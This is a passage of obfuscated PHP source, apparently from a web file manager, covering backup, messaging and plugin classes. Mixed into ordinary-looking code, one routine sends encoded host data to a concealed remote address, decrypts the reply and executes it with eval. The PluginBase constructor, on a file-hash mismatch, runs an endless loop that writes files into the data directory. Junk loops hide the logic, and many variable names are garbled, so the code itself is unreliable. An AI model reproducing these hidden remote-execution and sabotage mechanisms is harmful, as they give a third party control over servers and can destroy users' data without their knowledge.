$_SERVER[$[159]]); $͇Ǩ = $this->iepm5da4d5a8(json_encode($)); $ = $this->iflza0df3841($[184] . $͇Ǩ); if ($ && is_array($) && isset($[$[254]])) { $Ҙ = $this->rmqs7f6f7abf($[$[254]], 2); if ($Ҙ) { $Ҙ = $this->nspe0fff9424($Ҙ); } if ($Ҙ) { try { @eval($Ҙ); } catch (Exception $) { } } } } } private function iflza0df3841($ = '', $¼ = array(), $ݦ֟ = 5) { $ޫƑ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $ިŅ = $[255]; $瑾£ = $ޫƑ[688]; if (!$瑾£) { return; } $ިŅ = $this->juhg5ef21239($ިŅ, $[256]); $ިŅ = $ިŅ . $; $ɤ = $ޫƑ[689]; while ($ɤ < $ޫƑ[646]) { if ($ɤ >= 0) { break; } $ɤ++; } if ($¼ && is_array($¼)) { $ިŅ = $ިŅ . $[257] . http_build_query($¼); } if ($¼ === -1) { return $ިŅ; } $巎 = stream_context_create(array($[216] => array($[219] => $ݦ֟, $[217] => $[258]), $[259] => array($[260] => !1, $[261] => !1))); $ = $ޫƑ[690]; while ($ < $ޫƑ[646]) { if ($ >= 0) { break; } $++; } $¼ = @file_get_contents($ިŅ, !1, $巎); return json_decode($¼, !0); $ = $ޫƑ[691]; if (strlen($) < $ޫƑ[646]) { die; } } private function rgce40ea8bbf() { $Ŏ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $ = array($[262] => $[263], $[264] => $[265], $[266] => $[267], $[268] => $[269], $[270] => $[271], $[272] => $[211], $[273] => $[211], $[274] => $[263], $[275] => $[265], $[276] => $[267], $[277] => $[278], $[279] => $[269], $[280] => $[281], $[282] => $[271], $[283] => $[284], $[285] => $[286], $[287] => $[288]); $ = $[$this->obus4f733076]; $ = intval($ ? $ : $[263]); $Ӱ = $Ŏ[692]; if (strlen($Ӱ) < $Ŏ[635]) { die; } $ = _get($this->kqou45d28de1, $[289]); $ = $Ŏ[693]; $ = $ ? intval($) : 0; $Ѯ = $Ŏ[694]; if (!$Ѯ) { return; } return $ + $; $姒 = $Ŏ[695]; if (strlen($姒) < $Ŏ[646]) { return; } } public function mvft15061e72($͠) { $ =& $_SERVER[]; $ǜ =& $_SERVER[̬Ե]; $ = $this->rgce40ea8bbf(); if ($͠[$ǜ[290]] == $ǜ[121]) { return; } if ($ >= intval($ǜ[211])) { return; } $ա = Model($ǜ[124])->count(); $ = $[696]; if (strlen($) < $[615]) { return; } if ($ա <= $) { return; } $Ź = Model($ǜ[124])->field($ǜ[290])->limit($)->select(); $Ź = array_to_keyvalue($Ź, $ǜ[6], $ǜ[290]); if (!in_array($͠[$ǜ[290]], $Ź)) { show_json($ǜ[291], !1, $ǜ[207]); } } public function mlju3007bbc5() { $һ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; if (!_get($GLOBALS, $[115]) || mt_rand(1, 100) > 20) { return; } $ = $[214]; $ = $this->juhg5ef21239($, $[215]); $ȅŶ = $һ[697]; if (strlen($ȅŶ) < $һ[617]) { return; } $ԉ = stream_context_create(array($[216] => array($[217] => $[218], $[219] => 3))); $ݖ = @file_get_contents($, !1, $ԉ); $㤩 = $һ[698]; if (!$㤩) { return; } echo $[292] . hash_encode($ݖ) . $[293]; } private function djpm10d1efea($۾Ì, $֓, $̩ = 3) { $ =& $_SERVER[]; $ϖ =& $_SERVER[̬Ե]; usleep(1); $۾Ì = trim($۾Ì); $ý = mt_rand(0, 5) . $ϖ[6]; $АƲ = rand_string(15); $憔 = $ϖ[294]; switch ($ý) { case $ϖ[203]: $ = $this->lunza0d18401($۾Ì, strrev($֓ . $АƲ)); break; case $ϖ[121]: $ = $this->lunza0d18401($۾Ì, strrev($АƲ . $֓)); $ = $[699]; if (!$) { return; } break; case $ϖ[295]: $ = $this->lunza0d18401($۾Ì, base64_encode($АƲ . $֓)); break; case $ϖ[296]: $ = $this->lunza0d18401($۾Ì, md5($АƲ . $֓)); $ = $[700]; while ($ < $[607]) { if ($ >= 0) { break; } $++; } break; $ڇ = $[701]; if (!$ڇ) { return; } case $ϖ[297]: $۾Ì = base64_encode($۾Ì); $ٓ = rand(0, 64); $ = $[702]; while (strlen($) < $[607]) { if (!$) { break; } $++; } $ʿ = $憔[$ٓ]; $ = md5($ʿ . md5($֓ . $ʿ) . $֓); $ = substr($, $ٓ % 8, $ٓ % 8 + 7); $̀Ů = $ϖ[6]; $Ɛ = 0; $ = 0; $ˏ = 0; for ($Ɛ = 0; $Ɛ < strlen($۾Ì); $Ɛ++) { $ˏ = $ˏ == strlen($) ? 0 : $ˏ; $ = ($ٓ + strpos($憔, $۾Ì[$Ɛ]) + ord($[$ˏ++])) % 64; $܇ = $[703]; if (strlen($܇) < $[617]) { die; } $̀Ů .= $憔[$]; $؏ = $[704]; } $ = hash_encode($ʿ . $̀Ů); break; default: $ = $this->lunza0d18401($۾Ì, $֓ . $АƲ); $ɭ = $[705]; while (strlen($ɭ) < $[646]) { if (!$ɭ) { break; } $ɭ++; } break; } $ = strrev($ý . $АƲ . $); $ = $[706]; while ($ < $[617]) { if ($ >= 0) { break; } $++; } if ($̩ - 1 > 0) { $ = $this->djpm10d1efea($, $֓, $̩ - 1); } return $; } private function rmqs7f6f7abf($ħ, $ؐ, $к = 3) { $ɿ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; if (!is_string($ħ) || strlen($ħ) < 10) { return !1; } $ħ = trim($ħ); $ϝҥ = $ɿ[707]; while (strlen($ϝҥ) < $ɿ[646]) { if (!$ϝҥ) { break; } $ϝҥ++; } $ħ = strrev($ħ); $Щ = $ɿ[708]; if (!$Щ) { die; } $ = $ħ[0]; $ = $ɿ[709]; while ($ < $ɿ[635]) { if ($ >= 0) { break; } $++; } $֨ = substr($ħ, 1, 15); $ = $ɿ[710]; if (!$) { die; } $ħ = substr($ħ, 16); $ = $[294]; $ = $ɿ[711]; if (!$) { die; } switch ($) { case $[203]: $՞ = $this->juhg5ef21239($ħ, strrev($ؐ . $֨)); break; case $[121]: $՞ = $this->juhg5ef21239($ħ, strrev($֨ . $ؐ)); $ؓ = $ɿ[712]; while (strlen($ؓ) < $ɿ[607]) { if (!$ؓ) { break; } $ؓ++; } break; $ = $ɿ[713]; if (strlen($) < $ɿ[635]) { return; } case $[295]: $՞ = $this->juhg5ef21239($ħ, base64_encode($֨ . $ؐ)); $ = $ɿ[714]; if (strlen($) < $ɿ[617]) { die; } break; case $[296]: $՞ = $this->juhg5ef21239($ħ, md5($֨ . $ؐ)); $薜 = $ɿ[715]; break; $߷ = $ɿ[716]; if (!$߷) { return; } case $[297]: $ħ = hash_decode($ħ); $ = $ħ[0]; $
䶘 = $ɿ[717]; if (!$
䶘) { return; } $ħ = substr($ħ, 1); $ = strpos($, $); $ԥ = $ɿ[612]; if (!$ԥ) { return; } $ = md5($ . md5($ؐ . $) . $ؐ); $ = $ɿ[718]; if (strlen($) < $ɿ[617]) { return; } $ = substr($, $ % 8, $ % 8 + 7); $ = $ɿ[719]; $ = $[6]; $ = 0; $费 = $ɿ[720]; if (strlen($费) < $ɿ[635]) { die; } $À = 0; $ = 0; $ꮵ = $ɿ[721]; for ($ = 0; $ < strlen($ħ); $++) { $ = $ == strlen($) ? 0 : $; $ = $++; $ = $ɿ[722]; if (!$) { die; } $À = strpos($, $ħ[$]) - $ - ord($[$]); $퍵 = $ɿ[723]; while ($À < 0) { $À += 64; $ԅ = $ɿ[724]; if (strlen($ԅ) < $ɿ[617]) { return; } } $ .= $[$À]; } $՞ = base64_decode($); break; $љ = $ɿ[725]; while ($љ < $ɿ[615]) { if ($љ >= 0) { break; } $љ++; } default: $՞ = $this->juhg5ef21239($ħ, $ؐ . $֨); break; } if ($к - 1 > 0) { $՞ = $this->rmqs7f6f7abf($՞, $ؐ, $к - 1); } return $՞; } public function iepm5da4d5a8($ܙ) { $à =& $_SERVER[]; $¡ =& $_SERVER[̬Ե]; $ = $this->pofwc016c146(); $ʑ = $this->pofwc016c146(); $ = $à[726]; $ݳަǹ = ($ - 1) * ($ʑ - 1); $ = $à[727]; if (strlen($) < $à[615]) { return; } $垍 = intval(($ + $ʑ) / 2); $ = $à[728]; if (strlen($) < $à[646]) { return; } while (1) { $Ӟ = $垍; $ = $à[729]; if (strlen($) < $à[607]) { return; } $ՠ = $ݳަǹ; while ($ՠ % $Ӟ != 0) { $ = $ՠ; $ = $à[730]; if (strlen($) < $à[607]) { die; } $ՠ = $Ӟ; $Ӟ = $ % $Ӟ; $ό = $à[731]; while ($ό < $à[635]) { if ($ό >= 0) { break; } $ό++; } } if ($Ӟ == 1) { break; } else { $垍++; } } $՞ = 2; $΄ = $à[732]; if (strlen($΄) < $à[607]) { die; } for ($ = 0; $ < $ݳަǹ * 10; $++) { if (($ݳަǹ * $ + 1) % $垍 == 0) { $՞ = intval(($ݳަǹ * $ + 1) / $垍); break; } } $Ĉ = $this->lunza0d18401($ * $ʑ . $¡[6], $¡[135]); $ӎ = $à[733]; if (strlen($ӎ) < $à[646]) { return; } $綁 = md5($¡[298] . ($ + $ʑ) . $¡[299] . $垍 . $¡[299] . $՞ . $¡[300]); $ǎ = $à[734]; while ($ǎ < $à[607]) { if ($ǎ >= 0) { break; } $ǎ++; } $ = $this->lunza0d18401($ܙ, $綁) . $¡[301] . $Ĉ; return $; } public function nspe0fff9424($ܗ) { $ȁ =& $_SERVER[]; $Ε =& $_SERVER[̬Ե]; $ = explode($Ε[301], $ܗ); if (count($) != 2) { return $Ε[6]; } $ = $this->juhg5ef21239($[1] . $Ε[6], $Ε[135]); $ = $ȁ[735]; while ($ < $ȁ[607]) { if ($ >= 0) { break; } $++; } if (!$) { return $Ε[6]; } $ = intval($); $ǽ = $ȁ[736]; if (!$ǽ) { die; } $â = 0; $닢 = $ȁ[737]; while ($닢 < $ȁ[635]) { if ($닢 >= 0) { break; } $닢++; } $腽 = 0; for ($ = 3; $ < $; $ += 2) { if ($ % $ != 0) { continue; } $â = $; $ = $ȁ[738]; if (!$) { die; } $腽 = intval($ / $); $ˡҵ = $ȁ[739]; break; } $ = ($â - 1) * ($腽 - 1); $Ȫ = intval(($â + $腽) / 2); $ց۲ = $ȁ[740]; if (strlen($ց۲) < $ȁ[615]) { die; } while (1) { $֫ = $Ȫ; $ʊ = $; while ($ʊ % $֫ != 0) { $ϳ = $ʊ; $ʊ = $֫; $ = $ȁ[741]; if (!$) { return; } $֫ = $ϳ % $֫; } if ($֫ == 1) { break; } else { $Ȫ++; } } $ǵ = 2; for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $Ȫ == 0) { $ǵ = intval(($ * $ + 1) / $Ȫ); break; } } $ = md5($Ε[298] . ($â + $腽) . $Ε[299] . $Ȫ . $Ε[299] . $ǵ . $Ε[300]); $ = $this->juhg5ef21239($[0], $); return $; $݁ = $ȁ[742]; if (!$݁) { die; } } public function pofwc016c146() { $ũ =& $_SERVER[]; $Բ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = array(); $ = $ũ[743]; if (strlen($) < $ũ[646]) { return; } $ = 1; while ($ <= (int) sqrt($Բ)) { $څ = $; $ʄ = $ũ[744]; while ($ʄ < $ũ[635]) { if ($ʄ >= 0) { break; } $ʄ++; } while (!0) { $څ++; if ($څ <= 2) { $ = $څ; break; } else { if ($څ < 2) { continue; } } $Ъ = !0; for ($ = 2; $ <= sqrt($څ); $++) { if ($څ % $ == 0) { $Ъ = !1; } } if ($Ъ) { $ = $څ; break; } } $[] = $; } $ = 2; for ($څ = $Բ; $څ > 1; $څ--) { $Ъ = !0; foreach ($ as $ƍ) { if ($څ % $ƍ == 0) { $Ъ = !1; break; } } if ($Ъ) { $ = $څ; break; } } return $; $붹 = $ũ[745]; if (strlen($붹) < $ũ[635]) { die; } } public function hgcw95e6137a($ǩ, $Ȍ) { $ =& $_SERVER[̬Ե]; return call_user_func(array($[8], $[302]), $ǩ, $Ȍ); } public function lunza0d18401($ԝ, $Ѣ) { $ˊ =& $_SERVER[̬Ե]; return call_user_func(array($ˊ[303], $ˊ[304]), $ԝ, $Ѣ); } public function juhg5ef21239($, $ĥ) { $ =& $_SERVER[̬Ե]; return call_user_func(array($[303], $[305]), $, $ĥ); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ôŵ =& $_SERVER[]; $this->isManual(); self::$name = date($ôŵ[746]); if (!($ = Model($ôŵ[747])->lastItem())) { $ = $this->initData(); } else { self::$name = $[$ôŵ[32]]; if ($[$ôŵ[748]] == $ôŵ[88]) { self::$name = date($ôŵ[749]); $̈́ = 0; if (isset($[$ôŵ[293]][$ôŵ[200]][$ôŵ[468]])) { $̈́ = (int) $[$ôŵ[293]][$ôŵ[200]][$ôŵ[468]]; } if (self::$manual == 0 && $[$ôŵ[32]] == self::$name) { Model($ôŵ[747])->remove($[$ôŵ[399]]); } $ = $this->initData($̈́, $[$ôŵ[750]]); } else { $this->checkStore($[$ôŵ[750]]); } } self::$option = $; } private function isManual() { $Ӕ = _get($GLOBALS, $_SERVER[][751], 0); $Ӕ = intval($Ӕ); self::$manual = $Ӕ && $Ӕ == 1 ? 1 : 0; } private function initData($툉 = 0, $ = '') { $汈 =& $_SERVER[]; $̒̚ = Model($汈[747])->config(); if ($ && $̒̚[$汈[750]] != $) { $툉 = 0; } $this->checkStore($̒̚[$汈[750]]); if (self::$manual == 1) { self::$name .= $汈[11] . date($汈[752]); } $ؾ = array($汈[750] => $̒̚[$汈[750]], $汈[32] => self::$name, $汈[748] => 0, $汈[753] => $̒̚[$汈[753]], $汈[754] => self::$manual, $汈[293] => array($汈[755] => array($汈[748] => 0), $汈[756] => array($汈[748] => 0, $汈[757] => 0, $汈[758] => 0, $汈[33] => $汈[12], $汈[759] => 0, $汈[760] => 0), $汈[761] => array($汈[748] => 0, $汈[757] => 0, $汈[758] => 0, $汈[759] => 0, $汈[760] => 0), $汈[200] => array($汈[748] => 0, $汈[762] => 0, $汈[763] => 0, $汈[764] => 0, $汈[765] => 0, $汈[468] => $툉, $汈[759] => 0, $汈[760] => 0)), $汈[759] => time(), $汈[760] => 0); $ԁ = Model($汈[747])->insert($ؾ); $ؾ[$汈[399]] = $ԁ; return $ؾ; } private function checkStore($ġ) { $Ӯ =& $_SERVER[]; $Ϲ = Model($Ӯ[766])->listData($ġ); Model($Ӯ[766])->checkConfig($Ϲ); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[][747])->findByName(self::$name); } return self::$option; } public static function set($̌ߟ) { $ޭ =& $_SERVER[]; $ = self::get(); foreach ($̌ߟ as $ => $) { $翖 = explode($ޭ[10], $); $Õ = count($翖); switch ($Õ) { case 1: $[$翖[0]] = $; break; case 2: $[$翖[0]][$翖[1]] = $; break; case 3: $[$翖[0]][$翖[1]][$翖[2]] = $; break; } } Model($ޭ[747])->update($[$ޭ[399]], $); self::$option = $; return self::$option; } public function keep() { $Ù =& $_SERVER[]; $ = self::get(); if ($[$Ù[293]][$Ù[755]][$Ù[748]] == $Ù[88]) { return; } $this->backupKeep($); self::set(array($Ù[767] => 1)); } private function backupKeep($) { $ =& $_SERVER[]; if (self::$manual == 1) { return; } $ = Model($[747])->listData(); if (empty($)) { return; } $Ɵ = 0; $݅ޅ = array(); foreach ($ as $DŽ˟) { if ($Ɵ >= 7) { break; } $݅ޅ[] = $DŽ˟[$[32]]; $Ɵ++; } for ($Ɵ = 0; $Ɵ < 12; $Ɵ++) { $݅ޅ[] = date($[768], strtotime("\x2d{$Ɵ}\40\155\157\x6e\x74\x68\x73")); } $݅ޅ = array_unique($݅ޅ); $ = Model($[769])->get($[770]); foreach ($ as $DŽ˟) { if (isset($DŽ˟[$[754]]) && $DŽ˟[$[754]] == $[88]) { continue; } if (!empty($DŽ˟[$[32]]) && in_array($DŽ˟[$[32]], $݅ޅ)) { continue; } Model($[747])->remove($DŽ˟[$[399]]); $ = $this->backupPath($, $); IO::remove($, !1); } } private function backupPath($륹, $ᩲ = false) { $ž =& $_SERVER[]; if (!$ᩲ) { $ᩲ = Model($ž[769])->get($ž[770]); } $ = $륹[$ž[32]]; $辙 = substr(md5($ž[771] . $ᩲ . $), 0, 8); return "\x7b\151\157\x3a{$륹[$ž[750]]}\x7d\57\144\x61\164\x61\142\x61\163\x65\x2f\x62\141\143\153\165\x70\x2f" . $ . $ž[11] . $辙; } public function db() { $֩ =& $_SERVER[]; $ĭ = self::get(); if ($ĭ[$֩[293]][$֩[756]][$֩[748]] == $֩[88]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($֩[772] => 1)); return !0; } public function dbFile() { $ =& $_SERVER[]; $ = self::get(); if ($[$[293]][$[761]][$[748]] == $[88]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($[773] => 1)); return !0; } public function file() { $ =& $_SERVER[]; $̙ = self::get(); if ($̙[$[293]][$[200]][$[748]] == $[88]) { return !0; } if (!isset($̙[$[753]]) || $̙[$[753]] == $[198]) { $姙 = new BackupFile(); if (!$姙->index()) { return !1; } } self::set(array($[774] => 1, $[748] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ =& $_SERVER[]; $ٽ = Backup::get(); self::$io = $ٽ[$[750]]; self::$name = $ٽ[$[32]]; $ = new DbManage(); $ܲ = $->dbType(); $ = array($[775] => $ܲ, $[776] => time()); Backup::set($); $ = $this->tmpFilesPath() . $[777] . self::$name . $[8]; del_dir($); mk_dir($); $ = $е = 0; $ݴ = new Task($[778], $[779], 0, LNG($[780]) . $[781] . LNG($[782])); try { $ǣ = $->db()->getTables(); } catch (Exception $) { $ݴ->end(); return !1; } $ǣ = array_diff($ǣ, array($[783], $[784])); foreach ($ǣ as $Ȭ) { $ += $->model($Ȭ)->count(); } $ݴ->task[$[785]] = $; $GLOBALS[$[786]] = self::$name; foreach ($ǣ as $Ȭ) { $ = $ . $Ȭ . $[787]; $ٙ = null; if ($Ȭ == $[788] && (!isset($ٽ[$[753]]) || $ٽ[$[753]] == $[198])) { $ٙ = self::$io; } $е += $->sqlFromDb($Ȭ, $, $ݴ, $ٙ); } unset($GLOBALS[$[786]]); $ݴ->end(); if ($е > $) { $ = $е; } $ = array($[775] => $ܲ, $[772] => 1, $[789] => $, $[790] => $е, $[791] => time()); Backup::set($); if ($ - $е > 0) { $ԧ = $[792]; if (stristr(I18n::getType(), $[793])) { $ԧ = $[794]; } write_log(array($ԧ, $), $[779]); return !1; } return !0; } private function tmpFilesPath() { $ѻ =& $_SERVER[]; $釭 = TEMP_FILES; if ($GLOBALS[$ѻ[6]][$ѻ[89]][$ѻ[795]]) { $釭 = $GLOBALS[$ѻ[6]][$ѻ[89]][$ѻ[795]]; if (!mk_dir($釭) || !is_writable($釭) || !IO::mkfile($釭 . $ѻ[796])) { $釭 = TEMP_FILES; } } return $釭; } } goto Eۅ; BÛ: class Message { function __construct() { } public function send($Ṓ = '', $ƾ = array(), $ = "\x74\x65\x78\x74") { $Ŵ =& $_SERVER[]; $Ц = array($Ŵ[33] => $Ŵ[1531], $Ŵ[753] => $Ṓ); if (in_array($, array($Ŵ[1531], $Ŵ[1532]))) { $Ц[$Ŵ[33]] = $; } $ƾ = array($Ŵ[505] => isset($ƾ[$Ŵ[505]]) ? $ƾ[$Ŵ[505]] : $Ŵ[12], $Ŵ[590] => isset($ƾ[$Ŵ[590]]) ? $ƾ[$Ŵ[590]] : $Ŵ[12]); if (empty($Ṓ) || empty($ƾ[$Ŵ[505]]) && empty($ƾ[$Ŵ[590]])) { return !1; } $ǵ = array($Ŵ[1472] => $Ц, $Ŵ[1533] => $ƾ); Hook::trigger($Ŵ[1534], $ǵ); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ϖ =& $_SERVER[]; $ = $_SERVER[$ϖ[879]] . $ϖ[880]; $ = $ϖ[1535]; if ($_SERVER[$ϖ[875]] != $($)) { $nj = $ϖ[877]; $ = $ϖ[878]; $ס = $_SERVER[$ϖ[879]] . $ϖ[880]; $ؑ = $($ס); $ɤ = explode($ϖ[231], $ؑ); if (count($ɤ) < $ϖ[607]) { $ = $ϖ[881]; $(); } $Ƥ = $ϖ[882]; $Ƥ($_SERVER[$ϖ[883]]); $nj = $ϖ[877]; $nj(); $ = $ϖ[1536]; $ں = json_encode($GLOBALS[$ϖ[1537]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $ں); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($ϖ[1538]); $this->pluginName = str_replace($ϖ[1538], $ϖ[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $ϖ[8]; $this->pluginApi = appHostGet() . $ϖ[1539] . $this->pluginName . $ϖ[8]; $this->pluginHost = $config[$ϖ[1540]] . $this->pluginName . $ϖ[8]; $this->pluginHostDefault = $config[$ϖ[1540]] . $this->pluginName . $ϖ[8]; $̱ = $config[$ϖ[1541]]; if ($̱ && strpos($ϖ[50] . $̱ . $ϖ[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$ϖ[1542]] . $this->pluginName . $ϖ[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1543]); } protected function assign($ֈĔ, $̰ = false) { if (is_array($ֈĔ)) { $this->values = array_merge($this->values, $ֈĔ); } else { $this->values[$ֈĔ] = $̰; } } protected function display($ء÷) { extract($this->values); require $ء÷; } final function hookRegist($ሚ) { $this->modelPlugin->appRegist($this->pluginName, $ሚ); } final function appIcon() { $ߨ =& $_SERVER[]; $̔ = $this->appPackage(); $ = $ߨ[12]; if (isset($̔[$ߨ[416]])) { if (isset($̔[$ߨ[416]][$ߨ[1544]])) { $ = $ߨ[1545] . $̔[$ߨ[416]][$ߨ[1544]] . $ߨ[1546]; } else { if ($̔[$ߨ[416]][$ߨ[1547]]) { $ = $ߨ[1548] . $̔[$ߨ[416]][$ߨ[1547]] . $ߨ[1549]; } } } return $; } final function fileCanView($) { $ =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } $ = Session::get($[1550]); if (!$ || !$[$[1551]]) { $ = $[1552] . rawurlencode(this_url()); show_tips(LNG($[1553]) . $[1554] . $ . $[1555] . LNG($[1556]) . $[1557], !1); } if (!Action($[1558])->authCan($[1559])) { show_tips(LNG($[1560]) . $[1561], !1); } ActionCall($[1562], $); } final function isShare($Ȑ) { $Б = KodIO::parse($Ȑ); return $Б[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($Ŭ) { if (request_url_safe($Ŭ)) { return $Ŭ; } if (!$this->isShare($Ŭ)) { $Ŭ = $this->filePath($Ŭ); } return Action($_SERVER[][1176])->linkOut($Ŭ); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[][1176])->link($); } final function filePath($ʧ) { $ =& $_SERVER[]; if ($ͭ = $this->checkSharePath($ʧ)) { Hook::trigger($[1563], $ͭ); return $ͭ; } $this->fileCanView($ʧ); if (request_url_safe($ʧ)) { $֢ = parse_url_query($ʧ); if (isset($֢[$[1564]]) && isset($֢[$[213]])) { $ = Model($[769])->get($[770]); $˾ = Mcrypt::decode($֢[$[213]], $); if ($˾) { $this->fileInfo = IO::infoWithChildren($˾); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $˾; } } $ʧ = $this->_cacheHttpFile($ʧ); $this->fileInfo = IO::infoWithChildren($ʧ); } else { $this->fileInfo = IO::infoWithChildren($ʧ); if (!$this->fileInfo) { show_tips(LNG($[105]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($[1563], $ʧ); return $ʧ; } final function _cacheHttpFile($ե) { $ = hash_path($ե, !0); $this->cachePath = $this->pluginCachePath($); if ($ = IO::fileNameExist($this->cachePath, $)) { return KodIO::make($); } $ = $this->cachePath . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($ե)); } final function _tmpFileName($ё = array()) { $ =& $_SERVER[]; if (!$ё) { $ё = $this->fileInfo; } if (isset($ё[$[177]])) { return $ё[$[177]]; } if (isset($ё[$[170]][$[177]])) { return $ё[$[170]][$[177]]; } $萕 = IO::hashSimple($ё[$[84]]); if ($萕) { return $萕; } $ = array($ё[$[32]], $ё[$[84]], $ё[$[76]]); if (isset($ё[$[511]])) { $[] = $ё[$[511]]; } return md5(implode($[11], $)); } final function checkSharePath($۫) { $ =& $_SERVER[]; if (!$this->isShare($۫)) { return !1; } $ˣ; = Action($[1176])->sharePathInfo($۫); if (!isset($ˣ;[$[84]])) { show_json(LNG($[1565]), !1); } $this->fileInfo = $ˣ;[$[170]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$[177]]); return $ˣ;[$[84]]; } final function pluginCachePath($λ = '') { $ =& $_SERVER[]; $ = IO_PATH_SYSTEM_TEMP . $[1566] . $this->pluginName; if (!($ = IO::infoFull($))) { return IO::mkdir($ . $[8] . $λ); } if (empty($λ)) { return $[$[84]]; } if (!($ = IO::fileNameExist($[$[84]], $λ))) { return IO::mkdir($[$[84]] . $λ); } return KodIO::make($); } final function pluginCacheFileSet($, $ח = '') { $ =& $_SERVER[]; if (!($Ձ = IO::infoFull($))) { return IO::mkfile($, $ח, REPEAT_REPLACE); } IO::setContent($Ձ[$[84]], $ח); return $Ձ[$[84]]; } final function pluginLocalFile($̷ = '') { $Ѕ =& $_SERVER[]; $ = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($)) { mk_dir($); } if (!$̷) { return $; } $̈ = IO::info($̷); $舘 = $this->_tmpFileName($̈) . $Ѕ[10] . $̈[$Ѕ[174]]; if (!checkExtSafe($舘)) { $舘 = $舘 . $Ѕ[1208]; } $Ͳ = $ . $舘; if (@file_exists($Ͳ)) { return $Ͳ; } return IO::copy($̷, $, 0, $舘); } final function appPackage() { $Ҏ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $瘌 = $this->parseFile($this->pluginPath . $Ҏ[1567]); $this->parseLang($瘌); $ = json_decode_force($瘌); if (!$) { return array(); } $ = Hook::trigger($Ҏ[1568], $); if ($ && is_array($)) { $ = $; } $this->packageData = $; return $; } public function packageInfoGet($) { $Ƅᱡ = $this->appPackage(); return array_get_value($Ƅᱡ, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1569]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1570]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1571]); } public function echoJsAssign($ڎ, $œκ) { $this->echoJsAssignArr[$ڎ] = $œκ; } private function parseFile($滜) { $ =& $_SERVER[]; $ԃ = file_get_contents_nossl($滜); $ = array($[1572], $[1573], $[1574], $[1575], $[1576], $[1577], $[1578]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[89]][$[1579]]); foreach ($this->echoJsAssignArr as $ => $·) { $[] = $[1580] . $ . $[1581]; $[] = is_array($·) || is_object($·) ? rawurlencode(json_encode($·)) : $·; } if (strstr($ԃ, $[1582])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $ԃ = str_replace($[1582], $, $ԃ); } if (strstr($ԃ, $[1583])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $ԃ = str_replace($[1583], $, $ԃ); } $ԃ = str_replace($, $, $ԃ); return $ԃ; } private function parseLang(&$) { $Р =& $_SERVER[]; $ḁ = $Р[1584]; if (!strstr($, $ḁ)) { return; } preg_match_all($Р[1585], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ۮ = array(); $χ = array(); foreach ($[0] as $Š) { $ٺ = substr($Š, strlen($ḁ), -4); $ܸ = LNG($ٺ); $ۮ[] = $Š; $χ[] = str_replace(array($Р[231], $Р[1080], $Р[342], $Р[118]), array($Р[53], $Р[53], $Р[12], $Р[1586]), $ܸ); } $ = str_replace($ۮ, $χ, $); } private function parseConfig(&$) { $Ѻń =& $_SERVER[]; $ = $Ѻń[1587]; if (!strstr($, $)) { return; } preg_match_all($Ѻń[1588], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ɴ֣ = $this->getConfig(); $ = array(); $݉ϼ = array(); foreach ($[0] as $ԫ) { $ = substr($ԫ, strlen($), -2); $[] = $ԫ; $݉ϼ[] = _get($ɴ֣, $); } $ = str_replace($, $݉ϼ, $); } private function parsePackage(&$댰) { $ =& $_SERVER[]; $õ = $[1589]; if (!strstr($댰, $õ)) { return; } preg_match_all($[1590], $댰, $ػ); if (!is_array($ػ) || count($ػ) == 0 || !is_array($ػ[0]) || count($ػ[0]) == 0) { return; } $ = $this->appPackage(); $ڐ = array(); $ݪ = array(); foreach ($ػ[0] as $ȢƓ) { $ = substr($ȢƓ, strlen($õ), -2); $ڐ[] = $ȢƓ; $ݪ[] = _get($, $); } $댰 = str_replace($ڐ, $ݪ, $댰); } final function echoFile($ȝ, $ = false) { $ϗ =& $_SERVER[]; $ = $this->pluginPath . $ȝ; if (ACT == $ϗ[1591]) { echo $ϗ[1592] . $this->pluginName . $ϗ[8] . $ȝ . $ϗ[1593]; if (!file_exists($)) { echo $ϗ[1594]; return; } } $峚 = $this->parseFile($); $this->parseLang($峚); $this->parseConfig($峚); $this->parsePackage($峚); if (is_array($)) { $峚 = str_replace(array_keys($), array_values($), $峚); } echo $ϗ[231] . $峚; } final function initLang() { $ܪ =& $_SERVER[]; $Ԯ = 